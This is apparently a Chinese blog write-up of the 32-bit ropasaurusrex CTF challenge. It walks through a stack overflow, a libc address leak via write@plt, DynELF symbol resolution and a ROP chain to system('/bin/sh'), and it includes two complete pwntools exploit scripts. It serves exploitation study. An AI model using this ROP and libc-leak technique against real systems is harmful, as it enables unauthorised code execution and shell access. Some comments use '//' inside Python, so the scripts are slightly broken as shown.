五_1.泄露libc_ropasaurusrex_32

2019-04-25  本文已影响0人  Zero_0_0
前提了解

1.我们知道,不同版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致。所以如果题目不提供libc,通过泄露任意一个库函数地址计算出system函数地址的方法就不好使了。这就要求我们想办法获取目标系统的libc。
2.DynELF通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算比对出目标符号在内存中的地址。
参考来自:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&ctid=157

思考

0.不用考虑上面的文字
1.我们一上来在可执行文件了搜索,没有发现system/bin/sh
2.可以泄露libc基址来确定我们system的真实地址
3.write函数,我们可以泄露出我们想要的地址
4.利用write的性质,我们将read的返回地址更改为我们write的地址,然后传入我们的read@got的地址(泄露出read的真实地址read_addr),通过write来泄露出我们的read@got里的read的地址。
5.我们利用readlibc.symbol['read']的地址,得到libc_base = read_addr - libc.symbol['read']

常用system_addr和bin_sh_addr的偏移算法
 libc_base_addr = 泄露函数 - 函数偏移
 system_addr = libc_base_addr + system_sym
 bin_sh_addr = libc_base_addr + bin_sh_addr
手工作图便于理解
payload
EXP(这是给我们libc的情况下)(重点是看EXP_V2 ) 这个脚本可以作为理论补充知识
#coding:utf-8
from pwn import*

#p = process('./ropasaurusrex')   //等同于下一条指令 在远程调试最好加上下一条指令
p = process('ropasaurusrex',env={'LD_PRELOAD':'./libc.so.6'})  //在运行时先调用 libc.so.6动态链接库
libc = ELF('./libc.so.6')
pe = ELF('./ropasaurusrex')

read_plt = pe.plt['read']
read_got = pe.got['read']
write_plt = pe.plt['write']
write_got = pe.got['write']
system_sym = libc.sym['system']
read_sym = libc.sym['read']
bin_sh_addr = 0x0015902b

print ("*************************")
print "[+]read_plt:" + hex(read_plt)
print "[+]read_got:" + hex(read_got)
print "[+]write_plt]:" + hex(write_plt)
print "[+]write_got:" + hex(write_got)
print "[+]system_sym:" + hex(system_sym)
print "[+]read_sym:" + hex(read_sym)
print "[+]bin_sh_addr:" +hex(bin_sh_addr)

print ("*************************")
pop_3_ret_addr = 0x80484b6   //ROPgadget --binary libc.so.6 --string "/bin/sh"   查看的方法很多
sub_80483F4 = 0x080483F4     //read的主函数

payload = 'A'*0x88
payload += p32(0)
payload += p32(write_plt)
payload += p32(pop_3_ret_addr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(sub_80483F4)

payload = payload.ljust(0x100,'A')    //接收字符串,小于0x100的用'A'来补齐   

p.send(payload)
read_addr = u32(p.recv())

libc_base_addr = read_addr - read_sym
system_addr = libc_base_addr + system_sym
bin_sh_addr = libc_base_addr + bin_sh_addr

print ("*************************")
print "[+]system:" + hex(system_addr)
print "[+]bin_sh:" + hex(bin_sh_addr)
print ("*************************")

payload1 = 'A'*0x88
payload1 += p32(0)
payload1 += p32(system_addr)
payload1 += p32(0)
payload1 += p32(bin_sh_addr)

p.sendline(payload1)
p.interactive() 

不知道libc的版本的情况下,泄露libc

1.先注意做题的环境,pip要更新(后期跑脚本出现了问题)

//修改前 from pip import 
main if __name__ == '__main__': 
    sys.exit(main()) 
修改后 from pip import __main__ //这行也要修改 
if __name__ == '__main__': 
    sys.exit(__main__._main())//增加__main__._

更改后最后在终端输入pip -V,默认版本
2.跑脚本的时候会出现这个问题:参考:https://www.cnblogs.com/zhaijiahui/p/7344778.html

思路:
1.我们利用write泄露程序的内存加载地址,然后通过脚本在服务器libc中查找我们的systemread地址。
2.我们在有没libc文件的时候只能充分利用 函数@plt的性质
3.泄露出systemread,我们进行布局,read作为一个开门read_ret 作为关门(system)。 只要等待我们想要进来的猎物我们就可以进行关门操作 (有一种守株待兔的感觉)

EXP_V2(无libc)
#/usr/bin/python
#coding:utf-8
from pwn import*

p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')


write_plt_addr = elf.symbols['write']
start_addr = 0x8048340
write_bin_sh_addr =  0x8049700   ##疑惑  虽然栈内不可以写  为什么超过最大地址的位置可以作为写入/bin/sh的地址

def leak(addr):
    payload = ''
    payload += 'A' * 140 
    payload += p32(write_plt_addr)
    payload += p32(start_addr)   #将write的返回地址改为start 不至于程序退出
    payload += p32(1)   #fd  文件标识符
    payload += p32(addr)   #需要泄露内存加载的范围地址   为//EFL('')
    payload += p32(8)   ##字节大小
    p.sendline(payload)
    content = p.recv()[:8]
    print ("%#x -> %s"%(addr,(content or '').encode('hex')))
    return content

d = DynELF(leak,elf = elf)
print "*********************"
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')

log.info("[+]system_addr = %#x",system_addr)
log.info("[+]read_addr = %#x",read_addr)
print "*********************"


payload = ''
payload += 'A'*140
payload += p32(read_addr)
payload += p32(system_addr)    ##上同
payload += p32(0)
payload += p32(write_bin_sh_addr)
payload += p32(8)     //我们将read函数作为一个精心构造的输入门口 
当我们下一次往里面输入字符串的时候引发我们system('/bin/sh')

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

参考文献:https://www.jianshu.com/p/6aae337f581b

上一篇 下一篇

猜你喜欢

热点阅读